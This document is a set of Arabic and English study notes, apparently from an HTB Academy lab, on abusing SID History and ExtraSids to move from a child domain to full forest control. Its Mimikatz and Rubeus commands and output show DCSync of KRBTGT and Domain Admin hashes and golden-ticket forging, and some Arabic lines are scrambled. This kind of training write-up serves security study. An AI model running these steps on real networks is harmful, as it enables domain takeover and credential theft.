29-Attacking Domain Trust from windows

SID History Primer

- الـ **SID** (Security Identifier) هو رقم تعريفي فريد لكل حساب في Active Directory، سواء كان **User** أو **Group**.
- لما يتم **نقل مستخدم** من دومين لدومين تاني (مثال: من دومين قديم لدومين جديد)،
  بيتم إنشاء حساب جديد في الدومين الجديد.
- علشان المستخدم يفضل يقدر يوصل للموارد في الدومين القديم،
  بيتم إضافة الـ **SID** القديم بتاعه في **sidHistory attribute** للحساب الجديد.
- ده بيسمح للمستخدم إنه يفضل يوصل للـ **Resources** القديمة بدون مشاكل.

إزاي ممكن المهاجم يستغل الـ SID History؟

هنا بيجي دور الهجوم باستخدام أدوات زي **Mimikatz**، واللي بتقدر تعمل:

SID History Injection

- في حساب هو بيتحكم فيه (يعني حساب عادي في الدومين) **Domain Admin** بتاع **SID المهاجم** بيحقن.
- لما الحساب ده يسجل دخول، كل الـ SIDs المرتبطة بيه بتُضاف لـ **Access Token** بتاعه.
- بالتالي، الحساب ده بياخد نفس صلاحيات الـ **Domain Admin** بشكل غير مباشر!

سيناريو توضيحي للهجوم

1. **اختراق حساب مستخدم عادي** في الدومين (مثل **Amr User**).
2. استخدام **Mimikatz** لحقن الـ **SID** بتاع حساب **Domain Admin** في **sidHistory** الخاص بـ "Amr User".
3. عند تسجيل الدخول باستخدام الحساب المخترق:
   - الـ **Token** بتاع المستخدم هياخد الـ **SIDs** كلها بما فيها **Domain Admin SID**.
4. نتيجة لكده:
   - الحساب اللي المفروض عادي يقدر يعمل مهام زي **DCSync**، يعني يقدر يطلب البيانات من الـ Domain Controller.
   - يقدر ينشئ **Golden Ticket** أو **TGT** (Kerberos Ticket-Granting Ticket)،
     ودي معناه إنه يقدر يصنع "تذاكر" تتيح له الدخول بأي حساب تاني في الدومين!

ExtraSids Attack - Mimikatz

فكرة هجوم ExtraSIDs Attack

1. القديمة **SIDs** بيسمح للمستخدمين بالوصول إلى الموارد القديمة عبر إضافة **SIDHistory** الـ، **Active Directory Forest** في الـ للحسابات.
2. **SID Filtering** بين الدومينات الموجودة في **Trusts** بيتم تطبيقه فقط على الـ **مختلف Forest**.
    - بيتم احترامه بدون أي فلترة **SIDHistory** الـ، **Forest** يعني لو الدومينات موجودة في نفس الـ.
3. **Enterprise** خاص بـ **SID** بتاعه وتضيف **SIDHistory** تقدر تعدل الـ، **Child Domain** ده معناه إنك لو سيطرت على حساب في **Admins Group** (الموجودة في الـ **Parent Domain**).
4. وبكده تاخد صلاحيات كاملة على، **Enterprise Admins** بمجرد ما تعمل كده، الحساب اللي سيطرت عليه هيتم معاملته كأنه عضو في الـ **Parent Domain**.

الخطوات المطلوبة لتنفيذ ExtraSIDs Attack

علشان تنفذ الهجوم ده بعد اختراق الـ **Child Domain**، محتاج البيانات التالية:

1. **KRBTGT** (مهم لتزوير التذاكر) **الخاص بحساب NT Hash الـ**.
2. **Child Domain** **الخاص بالـ SID الـ**.
3. **Child Domain** **اسم مستخدم في الـ** (مش شرط يكون موجود فعلًا!).
4. **FQDN** (Fully Qualified Domain Name) لـ **Child Domain**.
5. **Root Domain** لـ **Enterprise Admins Group** **الخاص بـ SID الـ**.

الأدوات المستخدمة: Mimikatz

1. الحصول على KRBTGT Hash باستخدام DCSync

- بعدما تسيطر على الـ **Child Domain** (من خلال حساب Admin أو ما شابه):
    - شغل أمر **DCSync** باستخدام Mimikatz لسرقة الـ **NT Hash** الخاص بحساب **KRBTGT**.

```
lsadump::dcsync /domain:child.inlanefreight.local /user:krbtgt
```

2. تزوير Golden Ticket مع ExtraSIDs

- بمجرد حصولك على الـ **KRBTGT Hash** والبيانات المطلوبة، تقدر تستخدم **Mimikatz** لتزوير تذكرة TGT مع **ExtraSIDs**.
- مثال على أمر **Mimikatz**:

```
kerberos::golden /user:fakeuser /domain:child.inlanefreight.local /sid:S-1-5-21-<ChildDomainSID> /krbtgt:<KRBTGT-Hash> /sids:S-1-5-21-<RootDomainSID>-519 /id:500 /ptt
```

شرح الخيارات:

- **/user:** اسم المستخدم اللي هتزور التذكرة باسمه (مش لازم يكون موجود).
- **/domain:** اسم الدومين اللي أنت فيه (Child Domain).
- **/sid:** الـ SID الخاص بالـ Child Domain.
- **/krbtgt:** الـ NT Hash الخاص بحساب KRBTGT.
- **/sids:** الـ SID الخاص بـ **Enterprise Admins Group** في Parent Domain (اللي هو 519).

- **/id:500:** بيشير لحساب Administrator.
- **/ptt:** لتحميل التذكرة المزورة مباشرة في الذاكرة.

إيه اللي بيحصل؟

- باستخدام الـ **Golden Ticket** اللي زورته مع الـ **ExtraSIDs**:
  - هيتم معاملته كأنه عضو في **Enterprise Admins** في **Parent Domain** الحساب اللي اخترقته في **Child Domain**.
  - ده بيديك صلاحيات إدارية كاملة على الـ Forest. في الـ **Root Domain**

Obtaining the KRBTGT Account's NT Hash using Mimikatz

```
PS C:\htb>  mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID   : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm  - 0: 69df324191d4a80f0ed100c10f20561e
```

We can use the PowerView `Get-DomainSID` function to get the SID for the child domain, but this is also visible in the Mimikatz output above.

Using Get-DomainSID

```
PS C:\htb> Get-DomainSID

S-1-5-21-2806153819-209893948-922872689
```

Next, we can use `Get-DomainGroup` from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the Get-ADGroup cmdlet with a command such as `Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"`.

Obtaining Enterprise Admins Group's SID using Get-DomainGroup

```
PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid
-----------------                                       ---------
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519
```

At this point, we have gathered the following data points:

- The KRBTGT hash for the child domain: `9d765b482771505cbe97411065964d5f`
- The SID for the child domain: `S-1-5-21-2806153819-209893948-922872689`
- The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: `hacker`
- The FQDN of the child domain: `LOGISTICS.INLANEFREIGHT.LOCAL`
- The SID of the Enterprise Admins group of the root domain: `S-1-5-21-3842939050-3880317879-2865463114-519`

Before the attack, we can confirm no access to the file system of the DC in the parent domain.

Using ls to Confirm No Access

```
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
```

Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain.

Creating a Golden Ticket with Mimikatz

```
PS C:\htb> mimikatz.exe

mimikatz # kerberos::golden /user:hacker
/domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-
922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-
3842939050-3880317879-2865463114-519 /ptt
User      : hacker
Domain    : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID       : S-1-5-21-2806153819-209893948-922872689
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime  : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50
PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully
submitted for current session
```

We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory.

Confirming a Kerberos Ticket is in Memory Using klist

```
PS C:\htb> klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
        Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @
LOGISTICS.INLANEFREIGHT.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/28/2022 19:59:50 (local)
        End Time:   3/25/2032 19:59:50 (local)
        Renew Time: 3/25/2032 19:59:50 (local)
```

```
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
```

From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways.

Listing the Entire C: Drive of the Domain Controller

```
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
 Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  18,080,178,176 bytes free
```

if you want to show folder from these folders

```
PS C:\Tools> ls \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids
                    >>
Directory: \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         4/7/2022   2:31 PM             21 flag.txt

PS C:\Tools> ls \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids\flag.txt
>>

Directory: \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         4/7/2022   2:31 PM             21 flag.txt

PS C:\Tools> type \\academy-ea-
dc01.inlanefreight.local\c$\ExtraSids\flag.txt          >>
```

```
f@ll1ng_l1k3_d0m1no3$
```

ExtraSids Attack - Rubeus

Next, we will formulate our Rubeus command using the data we retrieved above. The `/rc4` flag is the NT hash for the KRBTGT account. The `/sids` flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain.

Creating a Golden Ticket using Rubeus

```
PS C:\htb>  .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f
/domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-
922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker
/ptt


   ______         _
  (_____ \       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID            : S-1-5-21-2806153819-209893948-922872689
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey     : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : LOGISTICS.INLANEFREIGHT.LOCAL
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@LOGISTICS.INLANEFREIGHT.LOCAL'

[*] AuthTime       : 3/29/2022 10:06:41 AM
[*] StartTime      : 3/29/2022 10:06:41 AM
[*] EndTime        : 3/29/2022 8:06:41 PM
[*] RenewTill      : 4/5/2022 10:06:41 AM

[*] base64(ticket.kirbi):

doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxB
TkVG

UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdI
VC5M

T0NBTKOCBDIwggQuoAMCARehAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfBXlkwH3sXu
5BhH

T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRr
wa/S

VfgHhAuxKPlIi2phwjkxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQ
qDfy

k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDWjUN4mxsqINm7qNQcZHWN8kFSfAbqyD/O
ZIMc

g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfWqP+dNREtldE2sg
IUQm

9f3cO1aOCt517Mmo7lICBFXUTQJvfGFtYdc01fWLoN45AtdpJro81GwihIFMcp/vmPBlqQGxAtRK
zgzY

acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqAIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdM
nJOz

X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU0O3VpVr5bgaR+Nas5VYGBYIHOw3Q
x5YT
```

3dtLvCxNa3cEgllr9N0BjCl1iQGWyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRd
Ez+H

WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMAnhQth8GKbLqimcVrCUG+eghE+CN999g
HNMG

Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAH
dVeo

/RIfLx12GlLzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76I
PC3B

aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixN
cNV/

OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdei0r9DolI
mqC3

sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuoBAzPQULPTWih6LyAwenrpd0sOEOiPvh8N
lvIH

eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNf1vZtUV/K
RLlW

sL5v91jmzGiZQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex
37HQ

F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8I
mJij

Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrC
yB2T

JTKolmppTTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyiEzARoAMCAQGhCjAI
GwZo

YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjkxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8y
MDIy

MDMzMDAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hU
LkxP

```
Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==

[+] Ticket successfully imported!
```

Once again, we can check that the ticket is in memory using the `klist` command.

Confirming the Ticket is in Memory Using klist

```
PS C:\htb> klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
    Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @
LOGISTICS.INLANEFREIGHT.LOCAL
    KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
    Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
    Start Time: 3/29/2022 10:06:41 (local)
    End Time:   3/29/2022 20:06:41 (local)
    Renew Time: 4/5/2022 10:06:41 (local)
    Session Key Type: RSADSI RC4-HMAC(NT)
    Cache Flags: 0x1 -> PRIMARY
    Kdc Called:
```

Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the `lab_adm` Domain Admin user.

Performing a DCSync Attack

```
PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
```

```
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0
```

When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following:

```
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
/domain:INLANEFREIGHT.LOCAL

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001
```

```
Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0
```